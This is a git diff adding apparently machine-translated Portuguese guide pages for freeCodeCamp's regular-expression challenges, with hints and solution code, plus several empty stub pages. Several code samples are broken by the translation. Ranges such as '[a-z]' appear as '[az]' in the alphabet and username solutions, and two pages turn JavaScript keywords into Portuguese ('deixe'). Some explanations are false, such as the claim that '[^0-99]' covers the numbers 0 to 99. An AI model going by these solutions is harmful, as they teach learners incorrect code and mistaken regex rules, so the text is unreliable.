+*   O caractere de abreviação `\d` é um atalho para `[0-9]` , ele procura por qualquer número entre 0 e 9.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
new file mode 100644
index 0000000000..96bc1ccbba
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-anything-with-wildcard-period/index.md
@@ -0,0 +1,25 @@
+---
+title: Match Anything with Wildcard Period
+localeTitle: Combinar qualquer coisa com o período curinga
+---
+## Combinar qualquer coisa com o período curinga
+
+## Sugestão 1:
+
+O ponto `.` é a chave neste desafio.
+
+## Dica 2:
+
+Você deve colocar o ponto na posição correta.
+
+## Solução
+
+```javascript
+let exampleStr = "Let's have fun with regular expressions!"; 
+ let unRegex = /.un/; // Change this line 
+ let result = unRegex.test(exampleStr); 
+```
+
+## Explicação
+
+O período `.` será qualquer caractere, então as strings "run", "sun", "fun" e "pun" terão os mesmos charaters.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
new file mode 100644
index 0000000000..ddb3944f43
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-beginning-string-patterns/index.md
@@ -0,0 +1,33 @@
+---
+title: Match Beginning String Patterns
+localeTitle: Combinar Padrões de Cordas Iniciais
+---
+## Combinar Padrões de Cordas Iniciais
+
+## O problema
+
+Use o caractere de circunflexo em um regex para localizar "Cal" apenas no início da string rickyAndCal.
+
+### Sugestão 1:
+
+Tente cercar seu regexp em barras
+
+```javascript
+let testExp = /^test/; 
+ // returns true or false depending on whether test is found in the beginning of the string 
+```
+
+### Dica 2:
+
+Tente usar o cursor do caractere '^' fora dos colchetes, como visto no exemplo acima
+
+### Alerta de spoiler - Solução à frente
+
+## Solução
+
+```javascript
+let rickyAndCal = "Cal and Ricky both like racing."; 
+ let calRegex = /^Cal/; // Change this line 
+ let result = calRegex.test(rickyAndCal); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
new file mode 100644
index 0000000000..969156d7c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-one-or-more-times/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Characters that Occur One or More Times
+localeTitle: Corresponder caracteres que ocorrem uma ou mais vezes
+---
+## Corresponder caracteres que ocorrem uma ou mais vezes
+
+\## o problema: Você quer encontrar correspondências quando a letra s ocorre uma ou mais vezes em "Mississippi". Escreva um regex que use o sinal +. ## a solução
+
+deixe difícilSpelling = "Mississippi"; deixe myRegex = / s + / g; // esta é a solução deixe resultar = difícilSpelling.match (myRegex);
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
new file mode 100644
index 0000000000..a5a0a6bbb3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times/index.md
@@ -0,0 +1,30 @@
+---
+title: Match Characters that Occur Zero or More Times
+localeTitle: Corresponder caracteres que ocorrem zero ou mais vezes
+---
+## Corresponder caracteres que ocorrem zero ou mais vezes
+
+Qualquer letra em uma expressão regex que é seguida por um `*` não precisa ocorrer na string testada, enquanto qualquer letra em uma expressão regex seguida por `+` deve ocorrer em uma string pelo menos uma vez, como mostrado abaixo,
+
+```javascript
+let phrase = "ba humbug"; 
+ 
+ let regexPlus = /bah+/; 
+ let regexStar = /bah*/; 
+ 
+ regexPlus.test(phrase);  // returns false 
+ regexStar.test(phrase);  // returns true 
+```
+
+Ambos permitem qualquer número de ocorrências da mesma letra em uma linha, por exemplo,
+
+```javascript
+let phrase = "wooooow look at that!"; 
+ 
+ let regexPlus = /wo+w/; 
+ let regexStar = /wo*w/; 
+ 
+ regexPlus.test(phrase); // returns true 
+ regexStar.test(phrase); // returns true 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
new file mode 100644
index 0000000000..3452d8c09c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Ending String Patterns
+localeTitle: Padrões de Sequência de Correspondência Final
+---
+## Padrões de Sequência de Correspondência Final
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-ending-string-patterns/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
new file mode 100644
index 0000000000..2f05e6e04b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Everything But Letters and Numbers
+localeTitle: Combine tudo, mas letras e números
+---
+## Combine tudo, mas letras e números
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-everything-but-letters-and-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..fd3fa73162
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-letters-of-the-alphabet/index.md
@@ -0,0 +1,26 @@
+---
+title: Match Letters of the Alphabet
+localeTitle: Correspondência de letras do alfabeto
+---
+## Correspondência de letras do alfabeto
+
+Nesse desafio, você é solicitado a combinar todas as letras do alfabeto em uma determinada string. Você não apenas está combinando / pesquisando esses caracteres, mas também é solicitado a extraí-los.
+
+### Sugestão 1:
+
+Lembre-se de que você é solicitado a extrair as letras da string - isso não pode ser feito com o método .test () porque retorna True ou False. Nesse caso, precisamos extrair o resultado real da string usando o método .match ().
+
+### Dica 2:
+
+Você está usando o sinalizador de caso de caractere do método match () com colchetes? Por exemplo, regExp = / \[ae\] / vs regExp = / ae /. O que isso nos permite fazer é procurar na string por qualquer caractere correspondente a \[a, b, c,… e\] usando a notação abreviada / \[ae\] /.
+
+### Alerta de spoiler: Solução à frente
+
+## Solução
+
+```javascript
+let quoteSample = "The quick brown fox jumps over the lazy dog."; 
+ let alphabetRegex = /[az]/ig; // Change this line 
+ let result = quoteSample.match(alphabetRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
new file mode 100644
index 0000000000..262d822f00
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-literal-strings/index.md
@@ -0,0 +1,24 @@
+---
+title: Match Literal Strings
+localeTitle: Combinar cordas literais
+---
+## Combinar cordas literais
+
+Este desafio não é diferente do anterior; Nesse caso, você está aprendendo que literais de string são sensíveis a maiúsculas e minúsculas. Isso significa que, quando você testar para ver se uma string tem um literal, ele procurará o caso exato (inferior ou superior) dentro da string. Você aprenderá como encontrar literais de string, independentemente do caso, em uma lição futura.
+
+Neste desafio, você está encontrando Waldo ... dentro de uma corda!
+
+## Sugestão 1:
+
+Altere a linha para ter o literal da string correto.
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+let waldoIsHiding = "Somewhere Waldo is hiding in this text."; 
+ let waldoRegex = /Waldo/; // Change this line 
+ let result = waldoRegex.test(waldoIsHiding); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
new file mode 100644
index 0000000000..6267b45d68
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Non-Whitespace Characters
+localeTitle: Corresponder Personagens Não-Brancos
+---
+## Corresponder Personagens Não-Brancos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-non-whitespace-characters/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
new file mode 100644
index 0000000000..0b09d0d12f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-numbers-and-letters-of-the-alphabet/index.md
@@ -0,0 +1,40 @@
+---
+title: Match Numbers and Letters of the Alphabet
+localeTitle: Corresponder números e letras do alfabeto
+---
+## Corresponder números e letras do alfabeto
+
+Neste desafio, você é solicitado a retornar uma coleção de números e letras extraídos de uma string. Nosso objetivo é criar um regexp único que capture o intervalo de letras entre he s e os números de 2 a 6.
+
+### Sugestão 1:
+
+Você está usando o método match ()? Se sim, então você está chamando o método da variável apropriada? ou seja
+
+```javascript
+  let input_string = "The string you are testing on" 
+  let yourRegExp = /[hs]/; 
+  let correct_result = input_string.match(yourRegExp); // passes - returns characters H to S 
+ 
+  let incorrect_result = yourRegExp.match(input_string); // fails - .match() is not a function 
+```
+
+### Dica 2:
+
+Você se lembrou de ativar os sinalizadores regexp como "i" para ignorar maiúsculas e minúsculas e "g" para recuperar vários valores? Se sim, então você está incluindo tanto a correspondência de maiúsculas e minúsculas para números e letras?
+
+```javascript
+let regexp = /[a-z1-100]/ig 
+ // above code returns all characters from A to Z, along with all numbers from 1 to 100 
+ // this includes the letter A and Z and the numbers 1 and 100 
+```
+
+### Alerta de spoiler - Solução à frente
+
+## Solução
+
+```javascript
+let quoteSample = "Blueberry 3.141592653s are delicious."; 
+ let myRegex = /[h-s2-6]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
new file mode 100644
index 0000000000..e5f9afb77d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-character-with-multiple-possibilities/index.md
@@ -0,0 +1,28 @@
+---
+title: Match Single Character with Multiple Possibilities
+localeTitle: Corresponder personagem único com várias possibilidades
+---
+## Corresponder personagem único com várias possibilidades
+
+### Extrair
+
+Usando o método match (), você pode extrair partes de uma string que corresponda à sua expressão regular. Neste desafio, você está extraindo as vogais "a, e, i, o, u" de uma string fornecida.
+
+### Sugestão 1:
+
+Você está tentando usar o método test ()? Lembre-se que este método só retorna True ou False - precisamos extrair as vogais da string.
+
+### Dica 2:
+
+Você já tentou usar a correspondência de caso de caractere '\[\]' sem vírgulas? ou seja, \[abcd\] vs \[a, b, c, d\]
+
+### Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+let quoteSample = "Beware of bugs in the above code; I have only proved it correct, not tried it."; 
+ let vowelRegex = /[aeiou]/ig; // Change this line 
+ let result = quoteSample.match(vowelRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
new file mode 100644
index 0000000000..d4176e681a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-single-characters-not-specified/index.md
@@ -0,0 +1,40 @@
+---
+title: Match Single Characters Not Specified
+localeTitle: Combinar Caracteres Únicos Não Especificados
+---
+## Combinar Caracteres Únicos Não Especificados
+
+Neste desafio, somos solicitados a retornar uma coleção de correspondências que não são exatamente especificadas. Enquanto os desafios anteriores de regexp teriam que combinar com o caractere de caractere \[az\], este desafio nos pede para negar essas correspondências usando o caractere de circunflexo \[^ az\]. Nosso objetivo então é retornar uma coleção negada (não-correspondência) de letras que não são vogais nem números.
+
+## Sugestão 1:
+
+Você se lembrou de cercar seu regexp em ambos os suportes e barras?
+
+```javascript
+let exampleRegExp = /[^az]/; 
+```
+
+Em caso afirmativo, verifique se você está adicionando os sinalizadores apropriados:
+
+*   i: Ignora letras maiúsculas e minúsculas da pesquisa / correspondência
+*   g: recupera vários valores; o padrão é definido para retornar a primeira correspondência encontrada
+*   ^: Nega os jogos seguindo este sinalizador
+
+### Dica 2:
+
+Certifique-se de verificar se o seu intervalo de numeração está correto - o desafio nos pede para negar todos os números de 0 a 99. Isso pode ser feito usando o cursor negado colocado imediatamente após o primeiro parêntese de abertura do seu regexp.
+
+```javacsript
+let numbersRegExp = /[^0-99]/ig; 
+```
+
+### Alerta de spoiler - Solução à frente
+
+## Solução
+
+```javascript
+let quoteSample = "3 blind mice."; 
+ let myRegex = /[^aeiou^0-99]/ig; // Change this line 
+ let result = quoteSample.match(myRegex); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
new file mode 100644
index 0000000000..9d6c7106bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md
@@ -0,0 +1,9 @@
+---
+title: Match Whitespace
+localeTitle: Corresponder espaço em branco
+---
+## Corresponder espaço em branco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/match-whitespace/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
new file mode 100644
index 0000000000..ce554291ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/positive-and-negative-lookahead/index.md
@@ -0,0 +1,19 @@
+---
+title: Positive and Negative Lookahead
+localeTitle: Lookahead positivo e negativo
+---
+## Lookahead positivo e negativo
+
+*   Lembre-se de usar 2 `lookaheads` para verificar os padrões na string. A primeira `lookahead` é muito similar àquela dada no exemplo - '(? = \\ W {3,6})' - somente o `lower-number` 3 `lower-number` é muito baixo para nossos casos de teste, e um `upper-number` é completamente desnecessário. Essa primeira `lookahead` é usada apenas para encontrar uma string que contenha uma certa quantidade de caracteres. Um segundo `lookahead` deve ser usado para verificar valores numéricos consecutivos no final da string.
+    
+*   A segunda `lookahead` também é semelhante àquela fornecida no exemplo - `(?=\D*\d)` - no entanto, essa expressão também deve ser modificada para passar em todos os casos de teste. Lembre-se de especificar a quantidade exata de números que você deseja que apareça no final da string.
+    
+
+## Solução:
+
+```javascript
+let sampleWord = "astronaut"; 
+ let pwRegex = /(?=\w{5,})(?=\D*\d{2})/; 
+ let result = pwRegex.test(sampleWord); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
new file mode 100644
index 0000000000..757b418ed3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/remove-whitespace-from-start-and-end/index.md
@@ -0,0 +1,26 @@
+---
+title: Remove Whitespace from Start and End
+localeTitle: Remova o espaço em branco do início e do fim
+---
+## Remova o espaço em branco do início e do fim
+
+Para resolver esse desafio, basta criar uma string regex que corresponda a qualquer espaço no início ou no final da string.
+
+## Sugestão 1:
+
+Pense em como você pode selecionar substrings no início ou no final de uma string.
+
+## Dica 2:
+
+Pense em como você pode selecionar o espaço em branco
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+let hello = "   Hello, World!  "; 
+ let wsRegex = /^\s+|\s+$/g; // Change this line 
+ let result = hello.replace(wsRegex, ''); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
new file mode 100644
index 0000000000..d97bdbc6fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/restrict-possible-usernames/index.md
@@ -0,0 +1,34 @@
+---
+title: Restrict Possible Usernames
+localeTitle: Restringir nomes de usuário possíveis
+---
+## Restringir nomes de usuário possíveis
+
+## Solução:
+
+```javascript
+let username = "JackOfAllTrades"; 
+ let userCheck = /^[az]{2,}\d*$/i; 
+ let result = userCheck.test(username); 
+```
+
+## Explicar:
+
+1.  Os únicos números no nome de usuário devem estar no final. `\d$` Pode haver zero ou mais deles no final. `*`
+
+```javascript
+/\d*$/; 
+```
+
+2.  As letras de nome de usuário podem ser minúsculas e maiúsculas. `i`
+
+```javascript
+/\d*$/i; 
+```
+
+3.  Os nomes de usuários devem ter pelo menos dois caracteres. `{2,}` Um nome de usuário de duas letras só pode usar caracteres alfabéticos. `^[az]`
+
+```javascript
+/^[az]{2,}\d*$/i; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
new file mode 100644
index 0000000000..fc3810ea2d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/reuse-patterns-using-capture-groups/index.md
@@ -0,0 +1,61 @@
+---
+title: Reuse Patterns Using Capture Groups
+localeTitle: Reutilizar padrões usando grupos de captura
+---
+## Reutilizar padrões usando o grupo de captura
+
+## Sugestão 1:
+
+Dado código abaixo:
+
+```javascript
+let testString = "test test test "; 
+ let reRegex =/(test)\s\1/; 
+ let result = reRegex.test(testString); 
+```
+
+`result` no `test test` porque `\1` neste exemplo representa o mesmo texto que o mais recente correspondido pelo primeiro grupo de captura `(test)` .
+
+Se fôssemos traduzir literalmente o regex, seria algo como isto:
+
+```js
+let re = /(test)\s\1; 
+ let literalRe = /test\stest; 
+```
+
+Ambos `rea` e `literalRe` combinariam com a mesma coisa.
+
+## Dica 2:
+
+Dado o código abaixo:
+
+```javascript
+let testString = "test test test "; 
+ let reRegex =/(test)(\s)\1\2\1/; 
+ let result = reRegex.test(testString); 
+```
+
+irá coincidir com o `test test test` inteiro porque: `\1` repetições (teste) `\2` repetições (\\ s)
+
+## Dica 3:
+
+O código abaixo:
+
+```javascript
+let testString = "test test test test test test"; 
+ let reRegex =/(test)(\s)\1\2\1/g; 
+ let result = reRegex.test(testString); 
+```
+
+porque usamos `\g` , nosso Regex não retorna após a primeira correspondência completa ( `test test test` ) e corresponde a todas as repetições.
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+let repeatNum = "42 42 42"; 
+ let reRegex =  /^(\d+)\s\1\s\1$/; 
+ let result = reRegex.test(repeatNum); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
new file mode 100644
index 0000000000..26d28721b0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify Exact Number of Matches
+localeTitle: Especifique o Número Exato de Correspondências
+---
+## Especifique o Número Exato de Correspondências
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..8520400993
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
@@ -0,0 +1,13 @@
+---
+title: Specify Only the Lower Number of Matches
+localeTitle: Especifique apenas o menor número de correspondências
+---
+O problema Altere o regex haRegex para que corresponda à palavra "Hazzah" apenas quando tiver quatro ou mais letras z.
+
+Solução deixe haStr = "Hazzzzah"; deixe haRegex = / Haz {4,30} ah /; // Alterar esta linha deixe resultado = haRegex.test (haStr);
+
+## Especifique apenas o menor número de correspondências
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..58e60c65dd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
@@ -0,0 +1,33 @@
+---
+title: Specify Upper and Lower Number of Matches
+localeTitle: Especifique o Número Superior e Inferior de Correspondências
+---
+## Especifique o Número Superior e Inferior de Correspondências
+
+Lembre-se `/a{2,4}/` retornará `true` enquanto houver entre dois e quatro a juntos. Ele retornará `true` para qualquer string que tenha mais de quatro a juntos também.
+
+Todas essas strings retornarão `true` :
+
+```javascript
+let threeAs = "aaa"; 
+ let fourAs = "aaaa"; 
+ let sevenAs = "aaaaaaa"; 
+ 
+ let myRegex = /a{2,4}/; 
+ myRegex.test(threeAs) ; // true 
+ myRegex.test(fourAs) ; // true 
+ myRegex.test(sevenAs) ; // true 
+```
+
+## Alerta de Spolier!
+
+Lembre-se de usar `\s` após `Oh{3,6}` para incluir um espaço em branco, seguido de `no` para passar todos os casos de teste. Todos os casos de teste são escritos usando um O maiúsculo, no entanto, os testcases também podem ser passados ​​usando `ignore-case` : `/oh{3,6}\sno/i`
+
+## Solução:
+
+```javascript
+let ohStr = "Ohhh no"; 
+ let ohRegex = /Oh{3,6}\sno/; // Change this line 
+ let result = ohRegex.test(ohStr); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
new file mode 100644
index 0000000000..ce0c64e707
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
@@ -0,0 +1,23 @@
+---
+title: Use Capture Groups to Search and Replace
+localeTitle: Use grupos de captura para pesquisar e substituir
+---
+## Use grupos de captura para pesquisar e substituir
+
+Usando `.replace()` com o primeiro conjunto de parâmetros para localizar a parte da string original a ser substituída, e o segundo parâmetro deve ser a substituição.
+
+## Sugestão 1:
+
+Modifique o regex para que o `fixRegex` detecte a parte da string a ser substituída e a variável `replaceText` seja modificada para a string que irá substituir o `fixRegex` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+let huhText = "This sandwich is good."; 
+ let fixRegex = /good/; // Change this line 
+ let replaceText = "okey-dokey"; // Change this line 
+ let result = huhText.replace(fixRegex, replaceText); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
new file mode 100644
index 0000000000..0db2d7f6e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
@@ -0,0 +1,22 @@
+---
+title: Using the Test Method
+localeTitle: Usando o método de teste
+---
+## Usando o método de teste
+
+Neste desafio, você está verificando para ver se uma seqüência contém um certo "expressão regular", ou **regex** **(reg** ular **ex** pressions). Você usará o método `test()` para fazer isso.
+
+## Sugestão 1:
+
+Chame o método de teste em `myRegex` . O que você acha que o argumento será?
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+let myString = "Hello, World!"; 
+ let myRegex = /Hello/; 
+ let result = myRegex.test(myString); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
new file mode 100644
index 0000000000..e3f21bd669
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Text Alternative to Images for Visually Impaired Accessibility
+localeTitle: Adicionar uma alternativa de texto a imagens para acessibilidade com deficiência visual
+---
+## Adicionar uma alternativa de texto a imagens para acessibilidade com deficiência visual
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
new file mode 100644
index 0000000000..daed80f3c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
@@ -0,0 +1,9 @@
+---
+title: Add an Accessible Date Picker
+localeTitle: Adicionar um selecionador de data acessível
+---
+## Adicionar um selecionador de data acessível
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
